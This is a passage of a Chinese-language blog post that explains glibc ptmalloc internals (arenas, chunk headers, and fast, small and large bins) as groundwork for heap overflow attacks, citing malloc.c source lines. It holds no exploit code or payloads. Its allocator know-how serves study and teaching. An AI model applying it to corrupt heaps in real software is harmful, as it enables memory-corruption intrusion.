&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    malloc -&amp;gt; ... &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4128)  # Entry&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4454)  # First call, thus no bins available&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4549)  # A chain of if, and make sure no more available space&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4580)  # So we need a new HEAP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOc(malloc&#x2F;malloc.c:2906)     # Judge which way is suitable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOc(malloc&#x2F;malloc.c:3044)     # First malloc, and must be main_arena&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOC(malloc&#x2F;malloc.c:3097)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOC(malloc&#x2F;malloc.c:3121)     # Make extra space for manage heap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOC(malloc&#x2F;malloc.c:3130)     # Call malloc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; MORECORE -&amp;gt; __morecore -&amp;gt; __default_more_core &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __sbrk -&amp;gt; sbrk&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们可以看到，主线程调用&lt;code&gt;malloc&lt;&#x2F;code&gt;获取到的内存，全部是由&lt;code&gt;brk&lt;&#x2F;code&gt;分配的。与&lt;code&gt;mmap&lt;&#x2F;code&gt;不同，&lt;code&gt;brk&lt;&#x2F;code&gt;不能在任意位置分配内存，也不会清零内存或修改权限。&lt;code&gt;brk&lt;&#x2F;code&gt;只是简单地向os申请更多的页，而且这些页都是在程序的bss段之后的（如果开启了ASLR，会加一个随机偏移量）。&lt;&#x2F;p&gt;
&lt;p&gt;此外，我们的&lt;code&gt;malloc&lt;&#x2F;code&gt;只申请了不到1k的内存，但申请后新开的堆大小为132KB。我们把这段连续的内存叫**&lt;code&gt;arena&lt;&#x2F;code&gt;** &lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#5&quot;&gt;5&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，而由于这段内存是由主线程建立的，因此称其为&lt;code&gt;main arena&lt;&#x2F;code&gt;。在主线程里，之后所有的内存分配都会从这块&lt;code&gt;main arena&lt;&#x2F;code&gt;里获取空间。当其空间耗尽时，&lt;code&gt;malloc&lt;&#x2F;code&gt;会再次调用&lt;code&gt;sbrk&lt;&#x2F;code&gt;，获取更多的内存，并修改相关的管理结构。而当我们用&lt;code&gt;free&lt;&#x2F;code&gt;释放掉这块内存时，会发现这块内存并没有被立刻返回给OS。这是因为无论在主线程还是在其他线程中，free到的内存都会由分配器进行决策，在合适的时机返回给内存，以便重复利用。我们后面会详细解释这一细节。&lt;&#x2F;p&gt;
&lt;p&gt;刚才我们介绍了主线程的内存是如何从OS获得的，而其他线程获得内存的方式则稍有不同。继续执行刚才的示例代码，可以看到在新的线程申请内存后，内存布局是这样的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    0804b000-0806c000 rw-p 00000000 00:00 0          [heap]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;gt;&amp;gt;&amp;gt;b7500000-b7521000 rw-p 00000000 00:00 0 &amp;lt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;gt;&amp;gt;&amp;gt;b7521000-b7600000 ---p 00000000 00:00 0 &amp;lt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b7604000-b7605000 ---p 00000000 00:00 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你顺着调用流程走下去的话，会发现这里的执行路径和之前完全不一样了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    malloc -&amp;gt; ... &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4128)  # Entry&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; __int_malloc(malloc&#x2F;malloc.c:4580)  # We need a new HEAP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOc(malloc&#x2F;malloc.c:2906)     # Judge which way is suitable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOc(malloc&#x2F;malloc.c:3044)     # not new heap &amp;lt;&amp;lt;&amp;lt;!!!!!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOC(malloc&#x2F;malloc.c:3053)     # but also unable to expand heap&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; sYSMALLOC(malloc&#x2F;malloc.c:3063)     # So make a new heap by:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; new_heap(malloc&#x2F;arena.c:3130)       # Entry. Some adj and check&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; new_heap(malloc&#x2F;arena.c:673)        # Get new memory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    -&amp;gt; MMAP -&amp;gt; ... &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不同于主线程，这里的内存是mmap申请得到的。另外，虽然我们仍然只请求了1KB的内存，但malloc为我们拿到了1MB的内存，其中只有前132KB被设定为rw权限，后面的内存会在需要时再次进行处理。我们把这前132KB称为&lt;code&gt;thread arena&lt;&#x2F;code&gt;。而同样，在free之后，这块内存也并没有立刻返回给OS。&lt;&#x2F;p&gt;
&lt;p&gt;此外，这里要注意的是，无论在哪个线程中，如果申请的内存大于128KB，malloc都会使用mmap进行分配，而永远不会使用sbrk。&lt;&#x2F;p&gt;
&lt;p&gt;在得到的第一块堆用尽之后，再次申请内存时，malloc会从操作系统为该arena再次申请一块内存（用&lt;code&gt;mmap&lt;&#x2F;code&gt;）&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#6&quot;&gt;6&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，因此，ptmalloc使用&lt;code&gt;heap_info(malloc&#x2F;arena.c:69)&lt;&#x2F;code&gt;这一结构体来管理堆。此外，为了管理heap的内部空间，malloc使用了&lt;code&gt;malloc_state(malloc&#x2F;malloc.c:2317)&lt;&#x2F;code&gt;这个结构体。这些结构体全部位于由OS新分配的内存空间中，也就是说，拿到了他们所在的地址，就拿到了对应堆块的地址。&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#7&quot;&gt;7&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dui-dui-zhong-nei-cun-de-guan-li&quot;&gt;对堆中内存的管理&lt;&#x2F;h3&gt;
&lt;p&gt;为了管理heap的内部空间，内存分配器引入了&lt;strong&gt;chunk&lt;&#x2F;strong&gt;的概念。ptmalloc把堆中的Chunk分为了四种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Allocated chunk&lt;&#x2F;li&gt;
&lt;li&gt;Free chunk&lt;&#x2F;li&gt;
&lt;li&gt;Top chunk (&lt;code&gt;mchunkptr top;(malloc&#x2F;malloc.c:2333)&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Last Remainder chunk (&lt;code&gt;mchunkptr last_remainder;(malloc&#x2F;malloc.c:2336)&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在&lt;code&gt;malloc_chunk(malloc&#x2F;malloc.c:1773)&lt;&#x2F;code&gt;中，给出了前两种Chunk的头部。下面我们分别讨论这几种Chunk。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;allocated-chunk&quot;&gt;Allocated Chunk&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;malloc_chunk&lt;&#x2F;code&gt;实际上是一个“隐式空闲链表”，其设计目的在于可以用其头部信息定位到下一个块。&lt;&#x2F;p&gt;
&lt;p&gt;一个非空块指针&lt;code&gt;p=malloc(SIZE)&lt;&#x2F;code&gt;，只有&lt;code&gt;malloc_chunk.size&lt;&#x2F;code&gt;一个成员的值对malloc是一定有意义的，且其地址为&lt;code&gt;p-len(int)&lt;&#x2F;code&gt;，也就是说&lt;code&gt;malloc_chunk&lt;&#x2F;code&gt;类似于一个楔子，嵌入到内存块的头部&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#8&quot;&gt;8&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。这样，获取下一个chunk的地址时，可以用&lt;code&gt;*(p-len(int))-2*len(int)+p&lt;&#x2F;code&gt;来获得。而&lt;code&gt;malloc_chunk.prev_size&lt;&#x2F;code&gt;的情况比较特殊，需要视上一块的情况而定。如果上一块是空的，那么这里保存的就是上一块的大小，否则是一些无意义的用户数据，这一点要结合下一段来看。此时，其他的成员如&lt;code&gt;malloc_chunk.fd&lt;&#x2F;code&gt;等均未被使用，而用作数据空间。&lt;&#x2F;p&gt;
&lt;p&gt;此外，由于分配得到的内存地址和大小总是对齐的，因此可以利用&lt;code&gt;malloc_chunk.size&lt;&#x2F;code&gt;的低几个字节来保存一些标志位。其最低位&lt;code&gt;PREV_INUSE&lt;&#x2F;code&gt;代表了当前块&lt;strong&gt;内存空间&lt;&#x2F;strong&gt;的前一块是否被使用，而第二位&lt;code&gt;IS_MMAPPED&lt;&#x2F;code&gt;则代表了该块的获取方法。置1则代表该位是通过mmap获取的。&lt;&#x2F;p&gt;
&lt;p&gt;下图是一张比较直观的图，来自sploitfun。
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;allocated_chunk_snapshot.png&quot; alt=&quot;Allocated chunk snapshot&quot; title=&quot;What&amp;#39;s a allocated chunk looks like. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;free-chunk&quot;&gt;Free Chunk&lt;&#x2F;h4&gt;
&lt;p&gt;在我们用&lt;code&gt;free(p)&lt;&#x2F;code&gt;释放了刚才的内存之后，留下了一些管理信息。要理解他们的含义，首先给一个结论：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;malloc总保证空闲块内是尽可能连续的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是说，一个空块之后一定是一个有数据的块或是堆尾。&lt;&#x2F;p&gt;
&lt;p&gt;由于p目前是个空块，那么有一些数据结构就有意义了。&lt;&#x2F;p&gt;
&lt;p&gt;首先来看第一个成员&lt;code&gt;malloc_chunk.prev_size&lt;&#x2F;code&gt;，由于空闲块之间总是不连续的，因此空闲块之前一定是一个在用的块，此时，&lt;code&gt;malloc_chunk.prev_size&lt;&#x2F;code&gt;里存放的是上一个块的最后几个字节。&lt;code&gt;malloc_chunk.size&lt;&#x2F;code&gt;的作用不再赘述。&lt;&#x2F;p&gt;
&lt;p&gt;之后是&lt;code&gt;malloc_chunk.fd&lt;&#x2F;code&gt;和&lt;code&gt;malloc_chunk.bk&lt;&#x2F;code&gt;。他们指向的是同一个&lt;strong&gt;bin（筐）&lt;strong&gt;里的下一块（而不是&lt;&#x2F;strong&gt;物理空间&lt;&#x2F;strong&gt;里的下一块）。筐是一种用来管理当前堆里空闲空间的数据结构，在稍后的一节里会详细介绍的。筐的结构也是我们能成功执行堆溢出攻击的重要因素之一。&lt;&#x2F;p&gt;
&lt;p&gt;下图是一张比较直观的图，同样来自sploitfun。
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;free_chunk_snapshot.png&quot; alt=&quot;Allocated chunk snapshot&quot; title=&quot;What&amp;#39;s a free chunk looks like. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;top-chunk&quot;&gt;Top Chunk&lt;&#x2F;h4&gt;
&lt;p&gt;我们都知道，堆地址是从低到高生长的，而在每个arena最顶部的Chunk就叫做&lt;code&gt;top chunk&lt;&#x2F;code&gt;。top chunk不属于任何筐，因为当筐里没有任何空块的时候，就从top chunk里取一部分内存空间，这时候top chunk被分为了两部分：一部分是user chunk，也就是给用户用的那部分，另一部分则是&lt;strong&gt;remainder chunk&lt;&#x2F;strong&gt;，也就是剩下的那部分。而如果top chunk比用户请求的空间还大，那么malloc就会视情况（主线程or其他线程）调用mmap或者sbrk来增大其堆空间。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;last-remainder-chunk&quot;&gt;Last Remainder Chunk&lt;&#x2F;h4&gt;
&lt;p&gt;刚才我们提到了&lt;code&gt;remainder chunk&lt;&#x2F;code&gt;，它是&lt;code&gt;top chunk&lt;&#x2F;code&gt;被分配之后剩下的部分，而&lt;strong&gt;last remainder chunk&lt;&#x2F;strong&gt;指的就是top chunk最后一次被分割后剩下的部分。这里跟我们要做的没什么太大关系，就先不详细说明了。有兴趣的可以阅读&lt;code&gt;malloc&#x2F;malloc.c:4511&lt;&#x2F;code&gt;及相关的代码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bin-kuang-zhong-ru-he-guan-li-kong-xian-nei-cun&quot;&gt;Bin（筐）中如何管理空闲内存&lt;&#x2F;h3&gt;
&lt;p&gt;ptmalloc不关心用户如何使用已经分配好的内存——讲道理，也没法关心——，而会主动管理空闲内存。受管理的空闲内存被置于一个名为”筐“的结构中，每个arena拥有自己的bin结构，其位置在&lt;code&gt;malloc_state&lt;&#x2F;code&gt;结构体中。根据设计需求，Bin也被分为四种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Fast bin (&lt;code&gt;mfastbinptr fastbins[NFASTBINS];(malloc&#x2F;malloc.c:2330)&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Unsorted bin&lt;&#x2F;li&gt;
&lt;li&gt;Small bin&lt;&#x2F;li&gt;
&lt;li&gt;Large bin&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其中，后三种被打包存放于&lt;code&gt;mchunkptr bins[NBINS * 2 - 2];(malloc&#x2F;malloc.c:2339)&lt;&#x2F;code&gt;中。目前的malloc实现中共有126个bin，第一个为Unsorted bin，第2至63个为Small Bin，剩下的64~126号为Large Bin。下面我们分别了解下这几种结构。&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#9&quot;&gt;9&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fast-bin&quot;&gt;Fast bin&lt;&#x2F;h4&gt;
&lt;p&gt;Fast bin中容纳的是Fast chunk，顾名思义，其分配和释放的速度都很快，因此其数据结构也比较固定。目前，Fast bin的项目数量被固定为10，每项都指向一个单链表，链表中包含了同一大小的内存块。在&lt;code&gt;free&lt;&#x2F;code&gt;时，如果程序判定内存块属于fast chunk，那么这些内存块的&lt;code&gt;in_use&lt;&#x2F;code&gt;位不会被修改，这样这些块就不会和其他的空块合并，从而影响fastbin的布局。在malloc初始化的过程中，规定了Fast Chunk的最大大小为80字节(&lt;code&gt;malloc_init_state(malloc&#x2F;malloc.c:2427)&lt;&#x2F;code&gt;)，并保证fast bin中每种chunk的大小相差8字节。&lt;&#x2F;p&gt;
&lt;p&gt;fast bin中容纳的是大小为16~64字节的空块&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#10&quot;&gt;10&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，这些空块都是由之前malloc之后free得到的，因此在程序第一次调用malloc的时候，无论如何都没办法从fast bin中获得内存。之后，如果fast bin非空，那么在申请小内存时，malloc会优先从fast bin中获得内存(&lt;code&gt;malloc&#x2F;malloc.c:4162&lt;&#x2F;code&gt;)，方法也比较简单，将对应链表的第一项项拆出来并返回就可以了(&lt;code&gt;malloc&#x2F;malloc.c:4174~4180&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;p&gt;而在free的时候，也会首先检查是否可以放入fast bin中(&lt;code&gt;malloc&#x2F;malloc.c:4636&lt;&#x2F;code&gt;)，如果可以的话，在进行安全检查后，将其加入链表中(&lt;code&gt;malloc&#x2F;malloc.c:4668,4669&lt;&#x2F;code&gt;)。这里借用sploitfun的图片，来说明fast bin的布局。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;fast_bin_snapshot.png&quot; alt=&quot;Fast bin snapshot&quot; title=&quot;Single linked list&#x2F;Binlist of the free chunks in the fast bin. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;small-bin&quot;&gt;Small bin&lt;&#x2F;h4&gt;
&lt;p&gt;所有小于512bytes的块被称为small chunk，被存放在small bin中。small bin中共有62项，每项大小相差8bytes，而且各项之间是可以被合并的，这样有助于减小内存碎片。small bin中，每项都是一个双链表，链表中每个空块的大小是一样的。&lt;&#x2F;p&gt;
&lt;p&gt;当程序申请一块大小适当的内存时，如果small bin非空&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#11&quot;&gt;11&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;，那么malloc会试图从合适的small bin中(&lt;code&gt;malloc&#x2F;malloc.c:4193&lt;&#x2F;code&gt;)取出队末的一块内存(&lt;code&gt;malloc&#x2F;malloc.c:4195&lt;&#x2F;code&gt;)作为被返回的块，并将其从链表中移除(&lt;code&gt;malloc&#x2F;malloc.c:4199~4202&lt;&#x2F;code&gt;)，同时置位标志位。&lt;&#x2F;p&gt;
&lt;p&gt;而当free时，free会首先尝试将其与前后的空块合并(&lt;code&gt;malloc&#x2F;malloc.c:4712~4730&lt;&#x2F;code&gt;)，之后将其丢近&lt;strong&gt;unsorted bin&lt;&#x2F;strong&gt;里面。那么问题来了，初始化时既然没有为任何bin赋初值，&lt;code&gt;small bin&lt;&#x2F;code&gt;里的块是哪里来的呢？&lt;&#x2F;p&gt;
&lt;p&gt;来看&lt;code&gt;malloc&#x2F;malloc.c:4232&lt;&#x2F;code&gt;。这里描述了如何选择合适的bin和chunk：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    Process recently freed or remaindered chunks, taking one only if&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    it is exact fit, or, if this a small request, the chunk is remainder from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    the most recent non-exact fit.  Place other traversed chunks in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    bins.  Note that this step is the only place in any routine where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    chunks are placed in bins.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    The outer loop here is needed because we might not realize until&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    near the end of malloc that we should have consolidated, so must&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    do so and retry. This happens at most once, and only when we would&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    otherwise need to expand memory to service a &amp;quot;small&amp;quot; request.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后，在4310行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;      &#x2F;* place chunk in bin *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;in_smallbin_range&lt;&#x2F;span&gt;&lt;span&gt;(size)) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        victim_index &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; smallbin_index&lt;&#x2F;span&gt;&lt;span&gt;(size)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        bck &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; bin_at&lt;&#x2F;span&gt;&lt;span&gt;(av&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; victim_index)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        fwd &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; bck&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;fd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;      else&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里就很清楚了。每次malloc的时候，先从unsorted bin中寻找合适的块，如果找到的话，就立刻返回，否则视情况将这个块放入合适的bin&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#12&quot;&gt;12&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;中。这个操作是造成fast bin和其他bin分配速度差异的关键因素。此外，ptmalloc还用位图对不同的bin进行辅助管理，这一点我们可能会在后续的文章中再提&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#13&quot;&gt;13&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;large-bin&quot;&gt;Large bin&lt;&#x2F;h4&gt;
&lt;p&gt;Large bin和small bin很相似，也是一个binlist，它与small bin的不同点主要是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;每个chunk的大小&amp;gt;=512 bytes&lt;&#x2F;li&gt;
&lt;li&gt;bin中项目不再有固定的大小间隔。在63个items中，32个bin的大小间隔为64 bytes（比如：65# bin里的内存块大小均为512~568 bytes，66# bin里则是576~632 bytes，以此类推），16个bin的间隔为512 bytes，之后依次为4096 bytes、32768 bytes和262144 bytes，最后一个bin则包括了剩下的所有chunks。&lt;&#x2F;li&gt;
&lt;li&gt;bin中，每个项目虽然也是双链表，但链表中各项的大小&lt;strong&gt;不是&lt;&#x2F;strong&gt;一样的。他们按照降序排列，大块在前，小块在后。因此，从large bin中获取内存的时候，可能需要进行一次遍历，这也拖慢了分配速度。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;那么在试图分配一个大于512字节的large chunk时会发生什么呢？首先，fast bin中所有的item都会被合并（&lt;code&gt;malloc&#x2F;malloc.c:4229&lt;&#x2F;code&gt;），这是为了让尽可能多的找到合适的项目。之后，malloc会检查large bin是否非空。如果large bin非空的话，就要看情况了：&lt;&#x2F;p&gt;
&lt;ol&gt;
